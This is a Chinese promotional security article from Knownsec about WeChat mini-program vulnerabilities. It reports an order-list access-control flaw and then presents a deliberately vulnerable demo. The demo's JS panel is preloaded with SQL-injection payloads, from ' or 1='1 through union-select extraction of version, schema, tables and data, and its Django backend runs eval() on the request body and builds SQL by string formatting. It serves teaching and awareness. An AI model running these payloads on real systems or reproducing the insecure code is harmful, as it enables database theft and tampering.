春风送暖,两会在和煦的阳光中落下了帷幕,期间,互联网安全是一项备受关注的热点话题。十二届全国人大五次会议副秘书长傅莹在发布会上介绍,今年将开展网络安全执法检查,关注重点之一就是加强个人信息保护。
随着“微信小程序”的盛行,它的安全问题也不容小觑。为了贡献一己之力,知道创宇在两会期间义务为党政府机关和企事业单位提供“微信小程序”安全测试。
安全专家于超,在安全测试过程中发现某大型企业的小程序存在遍历漏洞。导致大量平台用户信息及订单信息泄露。
于超介绍说,在测试该小程序时发现在获取用户订单列表时直接使用PassportId参数进行查询,未验证查询参数PassportId是否与查询人会话身份(session)匹配,这样便导致可以通过修改PassportId值的方式获得其他用户对订单列表,从而获取用户信息。



于超建议,针对该问题,在获取用户数据时添加会话验证,只允许读取当前登录用户的订单信息,由此有效避免个人信息泄露。
经过安全服务团队结合小程序特点所做的大量分析发现,开发者可能会在小程序编写上存在SQL注入、越权访问、文件上传、CSRF信息泄露等严重安全问题,这些都会对小程序开发者、小程序用户造成严重损害,包括经济、用户信息、信任度等,甚至可能导致程序无法再使用。例如,在开发一个有查询功能的小程序时这样写:
Sqlinjection.js代码
-
Page({
-
data: {
-
info: '',
-
username: '',
-
password: '',
-
},
-
formSubmit: (e) => {
-
console.log(e.detail.value);
-
wx.request({
-
url: 'Example Domain',
-
data: e.detail.value,
-
method: 'POST',
-
header: {
-
'content-type': 'application/json'
-
},
-
success: res => {
-
wx.showModal({
-
title: '服务器返回的数据',
-
content: JSON.stringify(res.data),
-
})
-
},
-
fail: err => {
-
console.log('失败')
-
}
-
});
-
},
-
trueOne: function() {
-
this.setData({
-
info: '该方法通过或语句,使查询条件为true,以此来通过登陆验证',
-
username: 'test',
-
password: "' or 1='1"
-
})
-
},
-
trueTwo: function() {
-
this.setData({
-
info: '该方法在通过查找是否存在账号,通过#注释吊了password的查询,若存在则查询出结果',
-
username: "admin'#",
-
password: '',
-
})
-
},
-
tryColumnNum: function() {
-
this.setData({
-
info: 'union可以合并多条语句的结果,返回的列数必需一样,因此可通过删减null直到不报错,就可以猜出列数',
-
username: "'union select null, null,null,null#",
-
password: '',
-
})
-
},
-
tryColumnNumOrder: function() {
-
this.setData({
-
info: 'order by 的数目若大于列数则会报错,因此可通过尝试快速猜出列数',
-
username: "'order by 4#",
-
password: '',
-
})
-
},
-
getUserVersion: function() {
-
this.setData({
-
info: '通过union,获取用户名与数据库版本',
-
username: "'union select user(), @@version, null, null#",
-
password: '',
-
})
-
},
-
getDatabaseName: function() {
-
this.setData({
-
info: '数据库名都保存在information_schema.schemata里',
-
username: "'union select schema_name,null,null,null from information_schema.schemata#",
-
password: '',
-
})
-
},
-
getTableName: function() {
-
this.setData({
-
info: '查询数据库表名',
-
username: "'union select table_name,null,null,null from information_schema.tables where table_schema='hackdemo'#",
-
password: '',
-
})
-
},
-
getColumnName: function() {
-
this.setData({
-
info: '查询表字段名',
-
username: "'union select column_name,null,null,null from information_schema.columns where table_name='sqlinject_systeminfo'#",
-
password: '',
-
})
-
},
-
getTableData: function() {
-
this.setData({
-
info: '提取指定数据',
-
username: "'union select userinfo, null,null,null from sqlinject_systeminfo#",
-
password: ''
-
})
-
},
-
clear: function() {
-
this.setData({
-
info: '',
-
username: '',
-
password: ''
-
})
-
}
-
})
SQLinjection.wxml代码
-
<import src="../common/header.wxml" />
-
<import src="../common/footer.wxml" />
-
<view>
-
<form bindsubmit="formSubmit">
-
<view>
-
<view>用户名</view>
-
<input name="username" id="test" value="{{username}}" />
-
</view>
-
<view>
-
<view>密码</view>
-
<input name="password" value="{{password}}" />
-
</view>
-
<view>
-
<button formType="submit">提交</button>
-
<button bindtap="clear">清除</button>
-
</view>
-
<view>
-
<scroll-view scroll-x="true">
-
<view id="green">
-
<button bindtap="trueOne">or条件为true</button>
-
<button bindtap="trueTwo">账号为true</button>
-
<button bindtap="tryColumnNum">union 猜列数</button>
-
<button bindtap="tryColumnNumOrder">orderby 猜列数</button>
-
<button bindtap="getUserVersion">获取数据库ip与版本</button>
-
<button bindtap="getDatabaseName">获取数据库名</button>
-
<button bindtap="getTableName">获取表名</button>
-
<button bindtap="getColumnName">获取列名</button>
-
<button bindtap="getTableData">获取指定数据</button>
-
</view>
-
</scroll-view>
-
</view>
-
<text>
-
说明:
-
{{info}}
-
</text>
-
</form>
-
</view>
后端代码
-
# coding=utf-8
-
from django.shortcuts import render
-
from django.http import HttpResponse
-
import json
-
from sqlinject.models import User
-
from django.db import connection,transaction
-
-
# Create your views here.
-
def index(req):
-
body = eval(req.body)
-
username = body.get('username')
-
password = body.get('password')
-
cursor = connection.cursor()
-
sql_query = "select * from sqlinject_user where username='%s' and password='%s'" % (username, password)
-
cursor.execute(sql_query)
-
raw = cursor.fetchall()
-
return HttpResponse(json.dumps({
-
u'sql语句': sql_query,
-
u'结果集': raw,
-
}))
该小程序输入密码处存在注入,该漏洞会造成数据脱库、数据被恶意增删改查等危险。信息窃取、数据篡改、恶意植入、用户仿冒、获取为授权资源、控制应用软件和服务器、这些都不是我们想看到的。当然,互联网的发展伴随着或多或少的问题这是无可厚非的,这就要求每位互联网从业者为互联网安全添砖加瓦。
于超等互联网精英所在的知道创宇“安应用”团队是互联网安全的领军者,更是业内第一个专业“微信小程序”安全测试团队,我们能做的就是身先士卒,用最专业的技术,最有针对性的方法维护着互联网的安全。企业目标和社会责任的结合是我们的夙愿。侠之大者,为国为民,专注维护互联网安全,我们从“小”做起。 |